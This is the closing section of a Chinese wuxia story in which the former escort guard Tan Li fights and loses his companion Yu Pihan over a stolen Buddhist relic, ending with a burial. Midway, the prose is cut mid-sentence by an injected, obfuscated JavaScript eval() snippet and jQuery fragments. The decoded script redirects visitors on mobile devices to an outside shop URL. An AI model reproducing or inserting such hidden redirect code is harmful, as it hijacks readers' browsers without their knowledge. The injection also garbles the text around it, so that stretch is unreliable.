在镖局工作的后遗症很难消除。虽然檀栎远远称不上敬业,很多时候态度也消极。账目一概不算,交涉一概不办,对经营人际关系缺乏兴趣,无论跟同行还是跟冤家都没有深入发展的倾向。作为一个普通镖师混日子时自然没人指望他,但这行终究讲一个人脉跟情面,最好是一切都能报上名号用嘴解决,因此檀栎的懒惰到后来很难使大家感到满意,尤其他职业生涯末期的身价其实很高,必定让一些人感到嫉妒,一些人感到浪费。但檀栎本来也没打算在这行做到老死。护镖队伍为了安全时常昼伏夜出,彻夜走在崎岖的山路上,骡子都困得歪歪斜斜,他不知多少次咬牙切齿下定决心要跟此种颠沛流离的生活一刀两断。然而断了这么久,被迫养成的习惯偶尔还来惊扰他,某些夜里他往往无缘无故就清醒得像被人打过一顿。那时候躺不住了,他就起来画画,或者烧一壶茶,百无聊赖的等待天亮,安慰自己至少明天没有什么一定要做的事。
檀栎在黑暗中睁着眼。借着渐渐在空中浮现的颗粒状的月光,他数着帐顶上的窟窿。又过了一会,他从一张不认识的床上爬起来,握住旁边不认识的刀。他走出这间不认识的屋子,梦游似的穿过寺院。蝉声已然消隐,秋虫又没有及时进驻,仿佛一些只有画面而无声音的片段,十分合乎梦境的标准。但是身后传来啪嗒一声闷响:地上摔碎了一个未长成的石榴。
他走上偏殿的台阶。匾额已经摘去,留下一块浅色的门楣。门前歪着一个和尚,看似在熟睡。窗纸上映出圆缺的轮廓。他也垂头盘坐,双手交叠放在腹前,指缝里滴下一颗玛瑙似的新血。檀栎勉强挤出一个笑。
“我认床。老毛病了。”
“可惜你犯病犯得不是时候。”玉辟寒说。他一只手提着璁珑剑,另一只手里握住水晶小瓶。他此刻不陪檀栎演戏,不是因为没心情,是没时间。三更将过。整座寺院越来越接近于苏醒的时刻。或许睡不着的本来就不止他们两个。他们一举一动早被掌握,被窥视。然而窥视者也觉得无所谓,只是袖手旁观,不过消磨时光,等蚊蚋撞到玻璃壁。
“告诉我缘故。”
“缘故?因为我想要舍利。”玉辟寒说,举起那只小瓶。“想要它助我提升修为,突破境界。成绝代之剑,居万人之上。一百年,三百年,一千年后还被人记住,跟石中火一样,跟凌风举一样,跟你不屑一顾的所有懵懂盲信、利欲熏心之人都一样。这答案你满意与否。”
“这不可……”檀栎脱口而出,突然又自己打断。“是你将舍利的消息透露给了刘文狗。”
“是我。”玉辟寒说。“他没认出我的声音。”
“那他现在?”
“说不定他将来会突然想起我的声音。”
“这不可能。”檀栎又说了一遍,语气似哭似笑。“如果你真的想要……你不是真的想要。不是真的一直想要。不然你压根不用拖到今日。你有那么多机会!”
玉辟寒道:“后悔了吗?”
檀栎愕然看着他,没有回答。
“后悔也无妨。”玉辟寒耐心地说。“你不知道我是谁。你强烈的想让我了解你一切,却不知道我是谁。这错不在你,哪怕你知道我做过的所有事,说过的所有话,交过的所有朋友,自以为对我了如指掌,你也不知道我是谁。人是什么不取决于他已做过的事,取决于他将要做的事。”
檀栎牙齿在打颤;他不明白是出于愤怒或者愧疚。“你也不见得就知道自己是谁。”
“至少比你知道。”玉辟寒说。“众生皆有佛性,狗子也有;可我若天生是狗子,如何成佛呢?”
他手腕突然一抖。檀栎反应过来之前已经拔刀。这是明确的一剑,目的和手段无差别,没有预警,没有铺垫,没有试探。就连土匪也很少考虑一上来就使这种为杀人而杀人的剑法,而檀栎本能地拔刀之后才意识到他挡住了怎样的一剑。覆水不能收。玉辟寒立在原地,淡淡的笑了笑,示意檀栎无需再辩解。
“我说过我是真的想杀你的。”他说。“你不用考虑怎么处置我。你只要知道你不想死。”
但檀栎已出了刀,不再需要借口了。他并不真的感到为难;玉辟寒作为一个在他视线范围内的整体他才能去把握,想去靠近,而不是这样血淋淋的陷入对方千篇一律的腑脏。可悲的是这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571634|142920||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他都觉得美。他第一次看见这剑,背后是汤汤洛水,第一次想把什么东西据为己有。一个想要攫夺什么的人不配再说到死。死是对他全力以赴的奖赏。他毕竟太懦弱,太愚钝,从很久以前开始,就只是在逃跑和等待。这结局他有不可推卸的责任,因此它终于以一种亲吻般的寒意触碰到皮肉时,他扔下刀,朝一剑之隔的玉辟寒做了一个张开双臂的姿势。
“我没后悔。”他说。“不是嘴硬。可笑我现在还想要你,哪怕我什么也不曾帮你分担。我一直做得不够。也可能做得太够。不管怎么说,这种死法我很满意,纵使这辈子一事无成,还能做你辉煌半生一个恶心的注脚。”
玉辟寒用一种奇怪的、焦渴的目光看着他。他的呼吸也很急促;但那急促并非来自激烈的打斗和胜利的兴奋,仿佛体内有什么正在烧灼。他嘴唇发白,眼睛也开始干涸。
“晚了。”他说,“舍利我已经服下。不然怎么赢得了你?”
“吐出来。”檀栎说。他跑过去猛拍玉辟寒的背。玉辟寒开始咳嗽,在檀栎怀中颤抖。体内的异物在反抗,尖锐的力量四处迸散,在粘稠溃烂的血肉里冲杀,不顾一切的想撕裂,想逃逸,他握不住剑。水晶瓶子从他手里落下来,被檀栎接住。他看到里面斑斓的骨粒。
“那是假的。”玉辟寒用唇语说,用目光示意长桌尽头空空如也的另一个水晶小瓶。他已发不出声音,檀栎分辨他细微的口型。“是我不配。”
他嘴角泛起一丝得意的微笑,用最后力气伸出手指,在檀栎额头上轻轻按了一下。
被换过的舍利重新封入地宫时,檀栎草草将玉辟寒埋葬。他对着那空瓶犹豫很久,是否玉辟寒更愿意火化,愿意做他书架上一个轻巧的、熟视无睹的摆设,但他想象了一下自己拿着火钳翻动每一块洁白的骨殖,觉得已不能再承受一无所获的失望。璁珑他拿走了,在坟前放下一串新鲜的葡萄,错过采摘被孤零零忘在架下,表皮几乎涨裂都不肯变色的青绿果粒和将近蚀空的紫黑色虫穴在干枯枝条上相安无事,明天就将在泥土中与落叶一起腐烂。玉辟寒和他一样,都是彻头彻尾的凡人。
全文完